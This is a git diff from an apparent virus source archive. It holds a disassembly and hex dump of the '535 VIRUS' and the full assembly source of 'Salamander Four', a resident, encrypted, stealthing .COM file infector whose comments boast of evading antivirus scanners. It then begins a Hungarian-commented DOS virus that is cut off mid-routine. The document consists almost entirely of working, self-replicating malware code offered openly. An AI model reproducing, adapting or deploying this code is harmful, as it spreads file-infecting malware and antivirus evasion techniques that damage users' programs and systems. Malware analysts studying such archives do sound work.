;5 byte kirsa +11E3:0649 EB5F JMP 06AA +11E3:064B 90 NOP +11E3:064C B43F MOV AH,3F +11E3:064E B90300 MOV CX,0003 +11E3:0651 8BD6 MOV DX,SI +11E3:0653 CD21 INT 21 ;Els 3 byte olvassa +11E3:0655 7253 JB 06AA +11E3:0657 3D0300 CMP AX,0003 +11E3:065A 754E JNZ 06AA +11E3:065C B80242 MOV AX,4202 +11E3:065F 33C9 XOR CX,CX +11E3:0661 33D2 XOR DX,DX +11E3:0663 CD21 INT 21 ;File mret meghatrozsa +11E3:0665 7243 JB 06AA +11E3:0667 8BC8 MOV CX,AX +11E3:0669 2D0300 SUB AX,0003 +11E3:066C 89840800 MOV [SI+0008],AX +11E3:0670 81C1E702 ADD CX,02E7 +11E3:0674 8BFE MOV DI,SI +11E3:0676 81EFE501 SUB DI,01E5 +11E3:067A 890D MOV [DI],CX +11E3:067C B440 MOV AH,40 +11E3:067E B91702 MOV CX,0217 +11E3:0681 90 NOP +11E3:0682 8BD6 MOV DX,SI +11E3:0684 81EAE701 SUB DX,01E7 +11E3:0688 CD21 INT 21 ;Fertzs +11E3:068A 721E JB 06AA +11E3:068C 3D1702 CMP AX,0217 +11E3:068F 90 NOP +11E3:0690 7518 JNZ 06AA +11E3:0692 B80042 MOV AX,4200 +11E3:0695 33C9 XOR CX,CX +11E3:0697 33D2 XOR DX,DX +11E3:0699 CD21 INT 21 ;File elejre ll +11E3:069B 720D JB 06AA +11E3:069D B440 MOV AH,40 +11E3:069F B90300 MOV CX,0003 +11E3:06A2 8BD6 MOV DX,SI +11E3:06A4 81C20700 ADD DX,0007 +11E3:06A8 CD21 INT 21 ;Uj JMP kirsa +11E3:06AA 8B8C1800 MOV CX,[SI+0018] +11E3:06AE 8B941600 MOV DX,[SI+0016] +11E3:06B2 81E1E0FF AND CX,FFE0 +11E3:06B6 81C91D00 OR CX,001D +11E3:06BA B80157 MOV AX,5701 +11E3:06BD CD21 INT 21 +11E3:06BF B43E MOV AH,3E +11E3:06C1 CD21 INT 21 ;File zrsa +11E3:06C3 B80143 MOV AX,4301 +11E3:06C6 8B8C0A00 MOV CX,[SI+000A] +11E3:06CA BA1F00 MOV DX,001F +11E3:06CD 90 NOP +11E3:06CE 03D6 ADD DX,SI +11E3:06D0 CD21 INT 21 ;Eredeti attrib. vissza +11E3:06D2 1E PUSH DS +11E3:06D3 B41A MOV AH,1A +11E3:06D5 C5940300 LDS DX,[SI+0003] +11E3:06D9 CD21 INT 21 ;Eredeti DTA. vissza +11E3:06DB 1F POP DS +11E3:06DC 59 POP CX +11E3:06DD 33C0 XOR AX,AX +11E3:06DF 33DB XOR BX,BX +11E3:06E1 33D2 XOR DX,DX +11E3:06E3 33F6 XOR SI,SI +11E3:06E5 BF0001 MOV DI,0100 +11E3:06E8 57 PUSH DI +11E3:06E9 33FF XOR DI,DI +11E3:06EB C2FFFF RET FFFF ;Eredeti prg. futtatsa +11E3:06EE E9F903 JMP 0AEA +11E3:06F1 8000D9 ADD BYTE PTR [BX+SI],D9 +11E3:06F4 0DE904 OR AX,04E9 +11E3:06F7 0420 ADD AL,20 +11E3:06F9 002A ADD [BP+SI],CH +11E3:06FB 2E CS: +11E3:06FC 43 INC BX +11E3:06FD 4F DEC DI +11E3:06FE 4D DEC BP +11E3:06FF 0028 ADD [BX+SI],CH +11E3:0701 007E1B ADD [BP+1B],BH +11E3:0704 56 PUSH SI +11E3:0705 16 PUSH SS +11E3:0706 16 PUSH SS +11E3:0707 3F AAS +11E3:0708 50 PUSH AX +11E3:0709 41 INC CX +11E3:070A 54 PUSH SP +11E3:070B 48 DEC AX +11E3:070C 3D352E CMP AX,2E35 +11E3:070F 43 INC BX +11E3:0710 4F DEC DI +11E3:0711 4D DEC BP +11E3:0712 005C44 ADD [SI+44],BL +11E3:0715 49 DEC CX +11E3:0716 53 PUSH BX +11E3:0717 4B DEC BX +11E3:0718 43 INC BX +11E3:0719 4F DEC DI +11E3:071A 50 PUSH AX +11E3:071B 59 POP CX +11E3:071C 2E CS: +11E3:071D 43 INC BX +11E3:071E 0DFF76 OR AX,76FF +-d 0100 071f + +11E3:0100 E9 04 04 49 60 6D 20 35-33 35 20 56 49 52 55 53 ...I`m 535 VIRUS +11E3:0110 21 0D 0A 24 00 00 00 00-00 00 00 00 00 00 00 00 !..$............ + +11E3:04F0 00 00 00 00 00 00 00 00-00 00 00 00 B4 09 BA 03 ................ +11E3:0500 01 CD 21 B4 00 CD 20 51-BA EE 06 90 8B F2 BF 00 ..!... Q........ +11E3:0510 01 B9 03 00 FC F3 A4 B4-30 CD 21 3C 00 75 03 E9 ........0.!<.u.. +11E3:0520 BA 01 06 B4 2F CD 21 8B-F2 89 9C 03 00 8C 84 05 ..../.!......... +11E3:0530 00 07 B4 1A BA 30 00 90-03 D6 CD 21 06 56 33 FF .....0.....!.V3. +11E3:0540 8E 06 2C 00 5E 56 81 C6-1A 00 AC B9 00 80 F2 AE ..,.^V.......... +11E3:0550 B9 04 00 AC AE 75 ED E2-FA 5E 07 89 BC 12 00 8B .....u...^...... +11E3:0560 DE 81 C6 1F 00 8B FE EB-3B 90 83 BC 12 00 00 75 ........;......u +11E3:0570 03 E9 5E 01 1E 56 26 8E-1E 2C 00 8B FE 26 8B B5 ..^..V&..,...&.. +11E3:0580 12 00 81 C7 1F 00 AC 3C-3B 74 0A 3C 00 74 03 AA .......<;t.<.t.. +11E3:0590 EB F4 BE 00 00 5B 1F 89-B7 12 00 80 7D FF 5C 74 .....[......}.\t +11E3:05A0 03 B0 5C AA 89 BF 14 00-8B F3 81 C6 0C 00 B9 06 ..\............. +11E3:05B0 00 F3 A4 8B F3 B4 4E BA-1F 00 90 03 D6 B9 03 00 ......N......... +11E3:05C0 CD 21 EB 05 90 B4 4F CD-21 73 02 EB 9D 8B 84 46 .!....O.!s.....F +11E3:05D0 00 24 1D 3C 1D 74 EE 81-BC 4A 00 00 FA 77 E6 83 .$.<.t...J...w.. +11E3:05E0 BC 4A 00 0A 72 DF 8B BC-14 00 56 81 C6 4E 00 AC .J..r.....V..N.. +11E3:05F0 AA 3C 00 75 FA 5E B8 00-43 BA 1F 00 90 03 D6 CD .<.u.^..C....... +11E3:0600 21 89 8C 0A 00 B8 01 43-81 E1 FE FF BA 1F 00 90 !......C........ +11E3:0610 03 D6 CD 21 B8 02 3D BA-1F 00 90 03 D6 CD 21 73 ...!..=.......!s +11E3:0620 03 E9 9F 00 8B D8 B8 00-57 CD 21 89 8C 18 00 89 ........W.!..... +11E3:0630 94 16 00 B4 2C CD 21 80-E6 07 75 10 B4 40 B9 05 ....,.!...u..@.. +11E3:0640 00 8B D6 81 C2 2B 00 CD-21 EB 5F 90 B4 3F B9 03 .....+..!._..?.. +11E3:0650 00 8B D6 CD 21 72 53 3D-03 00 75 4E B8 02 42 33 ....!rS=..uN..B3 +11E3:0660 C9 33 D2 CD 21 72 43 8B-C8 2D 03 00 89 84 08 00 .3..!rC..-...... +11E3:0670 81 C1 E7 02 8B FE 81 EF-E5 01 89 0D B4 40 B9 17 .............@.. +11E3:0680 02 90 8B D6 81 EA E7 01-CD 21 72 1E 3D 17 02 90 .........!r.=... +11E3:0690 75 18 B8 00 42 33 C9 33-D2 CD 21 72 0D B4 40 B9 u...B3.3..!r..@. +11E3:06A0 03 00 8B D6 81 C2 07 00-CD 21 8B 8C 18 00 8B 94 .........!...... +11E3:06B0 16 00 81 E1 E0 FF 81 C9-1D 00 B8 01 57 CD 21 B4 ............W.!. +11E3:06C0 3E CD 21 B8 01 43 8B 8C-0A 00 BA 1F 00 90 03 D6 >.!..C.......... +11E3:06D0 CD 21 1E B4 1A C5 94 03-00 CD 21 1F 59 33 C0 33 .!........!.Y3.3 +11E3:06E0 DB 33 D2 33 F6 BF 00 01-57 33 FF C2 FF FF E9 F9 .3.3....W3...... +11E3:06F0 03 80 00 D9 0D E9 04 04-20 00 2A 2E 43 4F 4D 00 ........ .*.COM. +11E3:0700 28 00 7E 1B 56 16 16 3F-50 41 54 48 3D 35 2E 43 (.~.V..?PATH=5.C +11E3:0710 4F 4D 00 5C 44 49 53 4B-43 4F 50 59 2E 43 0D FF OM.\DISKCOPY.C.. + \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.s4.asm b/MSDOS/Virus.MSDOS.Unknown.s4.asm new file mode 100644 index 00000000..395f07f1 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.s4.asm @@ -0,0 +1,581 @@ + .model tiny + .code + org 100h + +resid equ 3099h +fileid equ 's' +time_stamp equ 10001b ;stealth marker... + + host: + jmp short entry + db 90h,fileid + + vstart: + entry: + call $+3 + gd: + mov si,sp + mov bp, word ptr [si] + sub bp,offset gd + + lea si, [bp+offset vstart] + + call decrypt ;this call will probably trigger fprot! + ;but tbav doesn't note shit... + +encrypted_start: + mov ax,resid + int 21h + cmp ax,bx + je alreadyres ;check if already resident + +gores: + mov ax,ds ;ds=psp + dec ax + mov ds,ax ;ds=mcb + + xor di,di + cmp byte ptr ds:[di],'Z' ;end of chain ? + jne nomem + + sub word ptr ds:[di+3],(hend-vstart)/16+1 ;sub dos memory + + sub word ptr ds:[di+12h],(hend-vstart)/16+1 ;get tom from PSP:2 and + mov ax, word ptr ds:[di+12h] ;sub + mov es,ax ;es=virus segment... + + push cs + pop ds + + copy2mem: + cld + lea si,[bp+offset vstart] + xor di,di + mov cx,(vend-vstart)/2+1 + rep movsw ;copy virus to + ;allocated memory + + hook21h: + xor ax,ax + mov ds,ax ;ds points to int-table + push ds + + lds ax,ds:[21h*4] + mov word ptr es:[o21ho-vstart],ax + mov word ptr es:[o21hs-vstart],ds ;store int 21h's vector + + pop ds ;ds=0 + + mov word ptr ds:[21h*4],0 + mov word ptr ds:[21h*4+2],1eh ;seg of hole in mem... + + mov byte ptr ds:[1e0h],0eah ;jmp dword ptr + mov word ptr ds:[1e1h],(n21h-vstart) ; es:n21-vstart + mov word ptr ds:[1e3h],es ;this makes i21h's + ;vector + ;point to 0eh:0h and + ;thats were we placed + ;a jmp far to + ;es:(n21h-vstart) ;)) + nomem: + alreadyres: + return_com: + inc sp ;this is to restore the sp to 0fffeh, done b'cos + inc sp ;of the delta offset calc in the begining... + ;don't know if it's nessesary thou... + + push cs cs ;cs=ds=es + pop es ds + + mov di,100h + push di + lea si,[bp+offset hbytes] + movsw + movsw + + ret ; jmp 100h to start host + +;----------------------------------------------------------------------------- +; This is our new int 24h handler. ie. our new critical error handler +; it'll assume no error + n24h: + mov al,0 + iret +;----------------------------------------------------------------------------- +;new int 21h handler +; TU> +; This is totally fucked up, he could have used +; direct-jumps for example the stealth-routines, +; but since this is an early beta, he didn't ;). +; Thrust me, this was fixed, too. + + +n21h: + cmp ax,resid + jne exec + mov bx,resid + iret ;so virus wont load resident twice+ + + exec: + cmp ax,4b00h + jne cinfect + jmp infect + cinfect: + cmp ah,3eh ;close ? + jne odisinf + jmp close_infect ;infect! + odisinf: + cmp ah,3dh + jne ext_open + jmp open_disinfect ;if it's a file open, then disinfect! + ext_open: + cmp ax,6c00h + jne _11 + jmp extended_open ;if it's a extended open (F-prot for example...) + _11: + cmp ah,11h + jne _12 + jmp short fcb_stealth ;stealth during a dos-dir, find first via handles + _12: + cmp ah,12h + jne _4e + jmp short fcb_stealth ;stealth during a dos-dir, find next + _4e: + cmp ah,4eh + jne _4f + jmp short handle_stealth ;stealth during normal find first + _4f: + cmp ah,4fh + jne o21h + jmp short handle_stealth ;stealth during normal find next + +o21h: db 0eah +o21ho dw 0 +o21hs dw 0 ;jmp far o21hs:o21ho + ret ;used for calls to old int 21h... +;----------------------------------------------------------------------------- +;This routine will hide the size-increase of an infected .com when using +; 11h/12h or 4eh/4fh + +; TU> +; I believe these two routines were put togheter into one in a latter +; version.. Sorry ;). + + +fcb_stealth: ;11h/12h + pushf + push cs + call o21h ;fake a call to old int handler + or al,al + jnz stealth_error + + pushf + push ax bx es ;dont destroy + + mov ah,51h + int 21h ;get psp addr. + + mov es,bx + cmp bx,es:[16h] ;dos calling? + jne dont_stealth + + mov bx,dx + mov al,[bx] ;current drive, if al=ffh then ext.fcb + + push ax + mov ah,2Fh + int 21h ;get dta addr. es:bx + pop ax + + inc al ;if al=ffh => al=00 + jnz regular_fcb ;if al=00 then it's an extended fcb + + add bx,7 ;skip dos-reserved and attribs... +regular_fcb: + add bx,3 ;the byte diffrence between the offset + ;to the filesize using fcb/handles + mov ax,es:[bx+14h] ;ax=timestamp (14h+3=17h ;) + jmp short stealth_it ;hide the size + +handle_stealth: ;4e/4f + pushf + push cs + call o21h ;fake int call + jc stealth_error ;there was an error so don't stealth + ; (such as no files to find.. ) + pushf + push ax bx es ;save + + mov ah,2fh + int 21h ;get dta addr., es:bx points to it... + + mov ax,es:[bx+16h] ;get time stamp + +stealth_it: + + and al,00011111b ;kill all but secs... + xor al,time_stamp ;xor with our marker + jnz dont_stealth ;not ours :( + + cmp word ptr es:[bx+1ah],(vend-vstart) ;if fcb bx=bx+3 + jb dont_stealth ;too small to be us... + cmp word ptr es:[bx+1ch],0 ;if fcb bx=bx+3 + ja dont_stealth ;too large for us...>64k + + sub word ptr es:[bx+1ah],(vend-vstart) ;decrease the filesize + sbb word ptr es:[bx+1ch],0 ; (* WHY ?? - TU *) + +dont_stealth: + pop es bx ax + popf + +stealth_error: ;if there was an error during int call + +stealth_done: + retf 2 + +;----------------------------------------------------------------------------- +;This is our infection routine, ds:dx points to filename upon entry + +infect: + push ax bx cx dx di si ds es ;don't destroy regs/segs + mov byte ptr cs:(cflag-vstart),0 ;no closeinfection... + xchg_i24h: + mov ax,3524h + int 21h ;get int 24h's vector in es:bx + push es bx ;save es:bx so we can restore the handler... + + push ds dx cs ;save ds:dx=filename + pop ds ;ds=cs + + mov ah,25h + mov dx,(n24h-vstart) + int 21h ;set int 24h's vector to our handler + + pop dx ds ;ds:dx=filename + mov ax,4300h + int 21h + push cx ;get and save attribs + + mov ax,4301h + push ax ds dx + xor cx,cx + int 21h ;clear attribs + + call openfile_rw ;open file r/w + +infect_close: + push cs cs + pop ds es ;ds=cs=es + + mov ah,3fh + mov dx,(hbytes-vstart) + mov cx,4 + int 21h ;read first 3 bytes + + cmp byte ptr ds:[hbytes-vstart],'M' + je jmpclose ; *.exe + cmp byte ptr ds:[hbytes-vstart],'Z' + jne @okey ; *.exe + jmpclose: + jmp close + @okey: + cmp byte ptr ds:[hbytes-vstart+3],fileid + je jmpclose ; infected by us already + + call get_name ;get filename via sft's, in es:di + cmp word ptr es:[di],'OC' ;command.com + je jmpclose ;then close the file... + + mov ax,5700h + int 21h + push cx dx ;read files time/date and save them + + Call Go_eof ;go to end of file... ax=filesize on + ;return + + cmp ax,1024 + jb restore + cmp ax,63000 + ja restore ;too small/large ? + + sub ax,3 ;jmp entry + mov word ptr ds:[nbytes-vstart+1],ax ;save jmp loc + + get_encval: + mov ah,2ch + int 21h + or dl,dl + jz get_encval ;get new value if enc_val=0 + + mov word ptr ds:[encval-vstart],dx ;save it. + + copy2buf: + cld + mov ax,8d00h + mov es,ax ;es=8d00h + xor si,si + xor di,di + mov cx,(vend-vstart)/2+1 + rep movsw ;copy virus to encbuf + + enc_buf: + mov si,(encrypted_start-vstart) + call encrypt ;encrypt es:si + + write: + push es + pop ds ;es=ds=8d00h + mov ah,40h + mov cx,(vend-vstart) + cwd ;write from 8d00h:0000h + int 21h ;write encrypted virus to file + + push cs + pop ds ;cs=ds + + xor ax,ax + call move_fp ;go to begining of file + + mov ah,40h + mov cx,4 + mov dx,(nbytes-vstart) + int 21h ;write jmp to virus entry + + + restore: + mov ax,5701h + pop dx cx + + and cl,11100000b ;zero sec's + or cl,time_stamp ;mark with our infection marker + int 21h ;restored files time/date stamp + + close: + cmp byte ptr cs:(cflag-vstart),1 ;if it is a infection on + je goon2 ;close don't close file... + ;and don't restore attribs + mov ah,3eh + int 21h + + pop dx ds ax cx ;restore ax=4301h, ds:dx=filename + int 21h + + restore_i24h: + mov ax,2524h + pop dx ds ;ds:dx points to old int 24h + int 21h ;handler + + + goon2: + mov byte ptr cs:(cflag-vstart),0 ;no close infection anymore + +dah: pop es ds si di dx cx bx ax ;restore all segs/regs +duh: jmp o21h ;do old int 21h +;----------------------------------------------------------------------------- +close_infect: + cmp bx, 4 ;don't close AUX/NULL/CON... + jbe duh ;jmp to jmp to org 21h ;) + + push ax bx cx dx di si ds es ;don't destroy regs/segs + + call get_name + add di,8 ;es:di file ext + + cmp word ptr es:[di],'OC' + jne noclose + cmp word ptr es:[di+2],'M' + jne noclose + + mov byte ptr es:[di-26h],2 ;mark file as open in r/w mode + + xor ax,ax + call move_fp ;go to begining of file + + mov byte ptr cs:(cflag-vstart),1 ;mark it as a close infection... + jmp infect_close + +noclose: + jmp short dah + pop es ds si di dx cx bx ax ;restore all segs/regs + jmp o21h +;----------------------------------------------------------------------------- +;This routine will disinfect an infected .com file on open! + +extended_open: + cmp dx,1 + je yessir + jmp o21h ;don't do anything... + yessir: + mov ah,3dh + mov al,bl + mov dx,si ;filename ds:si=ds:dx... + mov byte ptr cs:(oflag-vstart),1 + +open_disinfect: ;ds:dx=filename... + push ax bx cx dx di si ds es ;save all regs/segs... + + push ds + pop es ;ds=es + + mov cx,64 ;path+fname= max 65 + mov di,dx ;offs to filename + mov al,'.' ;look for '.' + repne scasb ;repeat scansingel byte until cx=0 + ;offset to '.'+1 in di + cmp word ptr ds:[di],'OC' + je smallc + cmp word ptr ds:[di],'oc' + jne nocom + smallc: + cmp byte ptr ds:[di+2],'M' + je openfile + cmp byte ptr ds:[di+2],'m' + je openfile ;check if it's a com or COM + + nocom: + jmp no_opendis + + openfile: + call openfile_rw ;open file r/w + + push cs cs + pop ds es ;cs=ds=es + + mov ax,5700h + int 21h + push cx dx ;save time/date + + read_f4: + mov ah,3fh + mov cx,4 + mov dx,(hbytes-vstart) ;use hbytes it won't be at first... + int 21h ;read first 4 bytes... + + chk_markers: + cmp byte ptr ds:[hbytes-vstart+3],fileid ;ie. our marker + jne close_dis + cmp byte ptr ds:[hbytes-vstart],0e9h ;check if it is a jmp. + jne close_dis ;if itsn't it can't be us... + + call go_eof ;go to end of file, + ;ax=fsize on return + + mov dx,ax ;store fsize in dx too + sub ax,(vend-entry+3) + cmp word ptr ds:[hbytes-vstart+1],ax ;check if the jmp is to + jne close_dis ;our supposed entry point + + push dx ;push fsize + + xor ax,ax + sub dx,(vend-hbytes) ;goto hbytes offs. in file + call go_to + + mov ah,3fh + mov cx,4 + mov dx,(hbytes-vstart) + int 21h ;store bytes read in memory + + xor ax,ax + call move_fp ;go tof + + mov ah,40h + mov dx,(hbytes-vstart) + mov cx,4 + int 21h + + pop dx + + sub dx,(vend-vstart) ;dx=size of original file + xor ax,ax + call go_to ;go to bof+cx:dx ie + ;fsize-vsize + + mov ah,40h + xor cx,cx + int 21h ;trunc file.... + +close_dis: + mov ax,5701h + pop dx cx + int 21h ;restore time/date + + mov ah,3eh + pushf + push cs + call o21h ;close file +no_opendis: ;the file was never opened + pop es ds si di dx cx bx ax ;restore all segs/regs + cmp byte ptr cs:(oflag-vstart),1 + jne @dduh + mov ax,6c00h ;restore ax + mov dx,1 ;restore dx after + ;disinfecting... + mov byte ptr cs:(oflag-vstart),0 ;restore to no-extended open... +@dduh: jmp o21h +;----------------------------------------------------------------------------- + get_name: + push bx + mov ax,1220h ;get jft for handle at es:di + int 2fh + + mov ax,1216h ;get system file table + mov bl,byte ptr es:[di] ;for handle index in bx + int 2fh + pop bx + add di,20h ;es:di+20h points to file fname + + ret ;return +;----------------------------------------------------------------------------- +go_eof: + mov al,2 +move_fp: + cwd +go_to: + xor cx,cx + mov ah,42h + int 21h + ret +;----------------------------------------------------------------------------- +;Open file proc. via call to original int 21h... only saves 2 bytes or sumthin +;ds:dx->filename + +Openfile_rw: + mov ax,3d02h + pushf + push cs + call o21h + xchg bx,ax + ret ;return to caller with filehandle in bx... +;----------------------------------------------------------------------------- +;DATA AREA + +oflag db 0 ;extended open marker +cflag db 0 ;close infection marker +tag db '[- Salamander Four -] (c) by Blonde in 1994' +nbytes db 0e9h,0,0,fileid ;newbytes + +;----------------------------------------------------------------------------- +encrypt_end: + +hbytes db 0cdh,20h,0,0 ;HOSTbytes, not ecrypted due to disinfect + + +;----------------------------------------------------------------------------- +encrypt:decrypt: + mov cx,(encrypt_end-encrypted_start)/2 + xorl: + db 26h + db 81h,34h +encval dw 0 ;xor es:[si],encval + inc si + inc si + loop xorl + ret + +vend: ;end of virus code excluding heap +hstart: +hend: ;end of virus code including heap + end host +================================================================================ diff --git a/MSDOS/Virus.MSDOS.Unknown.s70x.asm b/MSDOS/Virus.MSDOS.Unknown.s70x.asm new file mode 100644 index 00000000..e1c095b6 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.s70x.asm @@ -0,0 +1,781 @@ + PAGE ,132 +VIRUS SEGMENT PARA PUBLIC 'CODE' + ASSUME CS:VIRUS,DS:VIRUS + +R1 EQU IDE-131H +R2 EQU BE1-1A3H +HOSSZ EQU VEG-KEZDET + + ORG 100H +KEZDET EQU $ + DB 1 + CLI + MOV BP,SP + CALL IDE +IDE: POP BX ; A CIM VISSZAOLVASASA + SUB BX,131H + TEST CS:BYTE PTR [BX+KEZDET-R1],1 + JZ INDIT + LEA SI,[BX+INDIT-R1] + MOV SP,OFFSET VEG-INDIT +FOLYT: XOR [SI],SI + XOR [SI],SP + INC SI + DEC SP + JNZ FOLYT +INDIT: MOV SP,BP + JMP BEEPUL + +REGCIM DW 100H +VSZ DW 0 +MENTAX DW 0 +PRGKEZ DB 0,0,0 + DW 0 +REG1C DD 0 +REG21 DD 0 +REG28 DD 0 + DW 0 +FILATT DW 0 +FILDAT DW 0 +FILIDO DW 0 +FILNEV DD 0 +FILHOS DD 0 +UJKEZD DB 0E9H,0,0 +VIDOSZL DB 0 +VIDSOR DB 0 +VIDMOD DB 0 +OLVKAR DB 0 +OLVATT DB 0 +STATUS DB 0 +VIDKEZ DW 0 +VIDOFS DW 0 +IDOEGYS DW 0 +SZAML DW 0 +SZAMLEL DW 0 +MAXKAR DW 0 +POTYKAR DW 0 +ORA DB 16 DUP(0) + +BEEPUL: CALL BE1 +BE1: POP BX + SUB BX,1A3H + MOV CS:[BX+VSZ-R2],CS ; A KODSZEGMENS TAROLASA, AZ INDITAS SZEGMENSE + MOV CS:[BX+MENTAX-R2],AX + MOV AX,CS:[BX+PRGKEZ-R2] + MOV DS:100H,AX ; AZ ELSO HAROM BYTE VISSZAALLITASA + MOV AL,CS:[BX+PRGKEZ+2-R2] + MOV DS:102H,AL + PUSH BX + MOV AH,30H ; A DOS VERZIOSZAM BEOLVASASA + INT 21H + POP BX + CMP AL,2 + JB VISSZA ; HA KISEBB, MINT A 2.0 VERZIO + MOV AX,4BFFH ; A VIRUS AKTIVALTSAG ELLENORZESE + XOR DI,DI ; DI=0 + XOR SI,SI ; SI=0 + INT 21H ; A VIRUS MAR A MEMORIABAN? + CMP DI,55AAH ; HA DI=55AA, AKKOR MAR AKTIV + JNZ BE2 ; UGRAS, HA MAR MUKODIK + JB BE3 ; MINDIG HAMIS +VISSZA: STI ; ELINDITJA A GAZDAPROGRAMOT + PUSH DS + POP ES ; AZ ES VISSZAALLITASA + MOV AX,CS:[BX+MENTAX-R2] + JMP DWORD PTR CS:[BX+REGCIM-R2] +BE2: PUSH BX + MOV AX,3521H + INT 21H ; A 21H MEGSZAKITASVEKTOR BEOLVASASA + MOV AX,BX + POP BX ; ES ELTAROLASA A TABLAZATBAN +BE3: MOV CS:[BX+REG21-R2],AX + MOV CS:[BX+REG21+2-R2],ES + MOV AX,0F000H + MOV ES,AX + MOV DI,0E008H + CMP WORD PTR [DI],4F43H ; 'COPR. IBM'+00H ELLENORZESE /LENNE/ + JNZ BE4 + CMP WORD PTR [DI+2],5250H + JNZ BE4 + CMP WORD PTR [DI+4],202EH + JNZ BE4 + CMP WORD PTR [DI+6],4249H + JNZ BE4 + CMP WORD PTR [DI+8],4DH + JZ VISSZA +BE4: MOV AX,HOSSZ/10H+11H ; A VIRUS HOSSZA+100H PARAGRAFUSBAN + MOV BP,CS ; ES RAALLITASA A PROGRAMOT MEGELOZO + DEC BP ; MCB-RE + MOV ES,BP + MOV SI,CS:[16H] + MOV ES:[1],SI + MOV DX,ES:[3] ; A SZABAD PARAGRAFUSOK BEOLVASASA DX-BE + MOV ES:[3],AX + MOV ES:BYTE PTR [0],4DH ; NEM UTOLSO MCB + SUB DX,AX ; AZ UJ SZABAD PARAGRAFUSOK SZAMA A VIRUS + DEC DX ; HOSSZAVAL ES EGYEL /AZ UJ MCB/ KEVESEBB + INC BP + ADD BP,AX + INC BP + MOV ES,BP + PUSH BX + MOV AH,50H + MOV BX,BP + INT 21H + POP BX + XOR DI,DI ; DI=0 + PUSH ES + POP SS ; SS=ES - AZ UJ VEREM AZ UJ HELYEN LESZ + PUSH DI + LEA DI,[BX+VEG-R2-1] ; A PROGRAM VEGEROL + MOV SI,DI + MOV CX,OFFSET HOSSZ ; A VIRUST /CX-BE A VIRUS HOSSZA KERUL/ + STD ; VISSZAFELE + REPZ MOVSB ; FELMASOLJA + PUSH ES + LEA CX,[BX+BE9-R2] ; KOZVETLEN VEZERLESATADAS AZ UJ HELYEN + PUSH CX ; LEVO VIRUSRA. A PROGRAM VALOJABAN A + RETF ; RETF UTASITAS UTAN FOLYTATODIK +BE9: MOV CS:[BX+VSZ-R2],CS ; AZ UJ SZEGMENSCIM AZ INDITASHOZ + LEA CX,[BX+KEZDET-R2] ; A PROGRAM HOSSZA VIRUS NELKUL + REPZ MOVSB ; A PROGRAM 'FELHUZASA' A VIRUS ALA + MOV CS:36H,CS + DEC BP ; AZ UJ MCB SZEGMENSCIME + MOV ES,BP ; ATTOLTENI ES-BE + MOV ES:[3],DX ; BEALLITANI A SZABAD PARAGRAFUSOK SZAMAT + MOV ES:BYTE PTR [0],5AH ; ES EZ AZ UTOLSO MCB + MOV ES:WORD PTR [1],CS ; A PROGRAM SZEGMENSCIME + INC BP ; ES=ES+1, A SZEGMENSREGISZTER VISSZAALLITASA + MOV ES,BP ; A PROGRAM ELEJERE + PUSH DS + POP ES ; ES=DS + PUSH CS + POP DS ; DS=CS + LEA SI,[BX+KEZDET-R2] ; A PROGRAM HOSSZA VIRUS NELKUL + MOV DI,100H + MOV CX,OFFSET HOSSZ ; A VIRUS HOSSZA + CLD ; A VIRUS LEMASOLASA A PROGRAM ELOTT + REPZ MOVSB ; FELSZABADULT HELYRE + PUSH ES ; ES KOZVETLEN VEZERLESATADAS A VEGLEGES + LEA AX,DS:BE8 ; HELYEN TALALHATO VIRUS SZAMARA + PUSH AX ; AZ UGRAS AZ UJ VIRUS RETF UTASITASA + RETF ; UTAN TORTENIK +BE8: MOV CS:WORD PTR [2CH],0 + MOV CS:16H,CS + PUSH DS ; DS ERTEKET ELMENTENI + LEA DX,DS:UJ21 ; AZ UJ INT 21H CIMENEK BEALLITASA + PUSH CS ; DS=CS + POP DS + MOV AX,2521H + INT 21H + POP DS ; DS REGI ERTEKE + MOV AH,1AH + MOV DX,80H + INT 21H ; A DTA CIM BEALLITASA + CALL BEMAS ; A RENDSZERIDO BEMASOLASA A TABLAZATBA + MOV AH,2AH + INT 21H ; RENDSZERDATUM BEOLVASASA + CMP CX,1988 ; A MAI DATUM NAGYOBB, MINT 1988? + JA BE5 ; IGEN: CSAK FERTOZES + JZ BE6 ; IDEN VAN 1988 + CMP CX,1980 ; 1980 VAN? + JNZ BE5 ; IGEN: CSAK FERTOZES + PUSH DS + MOV AX,3528H + INT 21H ; A 28H VEKTOR BEOLVASASA, ES ELTAROLASA + MOV CS:WORD PTR REG28,BX + MOV CS:WORD PTR REG28+2,ES + MOV AX,2528H + MOV DX,OFFSET UJ28 ; DX-BE AZ UJ INT 28H OFFSZETJE + PUSH CS + POP DS ; DS=CS + INT 21H ; A MEGSZAKITASI VEKTOR BEALLITASA + POP DS + OR CS:STATUS,1000B ; A POTYOGAS LETILTASA + JMP BE7 +BE6: CMP DH,0AH ; CSAK OKTOBERTOL DECEMBERIG POTYOG + JB BE5 ; MEG NINCS +BE7: CALL KESLH ; A KESLELTETESI ERTEK MEGHATAROZASA + MOV AX,1518H + CALL VELETL + INC AX + MOV CS:SZAML,AX ; A BELSO VALTOZOK BEALLITASA + MOV CS:SZAMLEL,AX + MOV CS:POTYKAR,1 + MOV AX,351CH + INT 21H ; AZ 1CH VEKTOR BEOLVASASA ES ELTAROLASA + MOV CS:WORD PTR REG1C,BX + MOV CS:WORD PTR REG1C+2,ES + PUSH DS + MOV AX,251CH + MOV DX,OFFSET UJ1C ; AZ UJ INT 1CH OFFSZETJE + PUSH CS ; ES SZEGMENSE + POP DS + INT 21H ; AZ 1CH VEKTOR BEALLITASA + POP DS +BE5: MOV BX,0FFD6H + JMP VISSZA + +UJ21: CMP AH,4BH ; A FUNKCIOKOD 4BH? + JZ U21_1 ; IGEN +U21_2: JMP DWORD PTR CS:REG21 ; FOLYTATAS A REGI INT 21H-N +U21_3: MOV DI,55AAH ; A VIRUS AKTIVALTSAGA + LES AX,CS:REG21 + MOV DX,CS + IRET +U21_1: CMP AL,0FFH ; A VIRUS AKTIVALTSAG KERDEZESE? + JZ U21_3 ; IGEN + CMP AL,0 ; BETOLTES & INDITAS? + JNZ U21_2 ; NEM + PUSHF ; A REGISZTEREK MENTESE + PUSH AX + PUSH BX + PUSH CX + PUSH DX + PUSH SI + PUSH DI + PUSH BP + PUSH ES + PUSH DS + MOV CS:WORD PTR FILNEV,DX + MOV CS:WORD PTR FILNEV+2,DS + PUSH CS + POP ES + MOV AX,3D00H + INT 21H ; A FILE MEGNYITASA OLVASASRA + 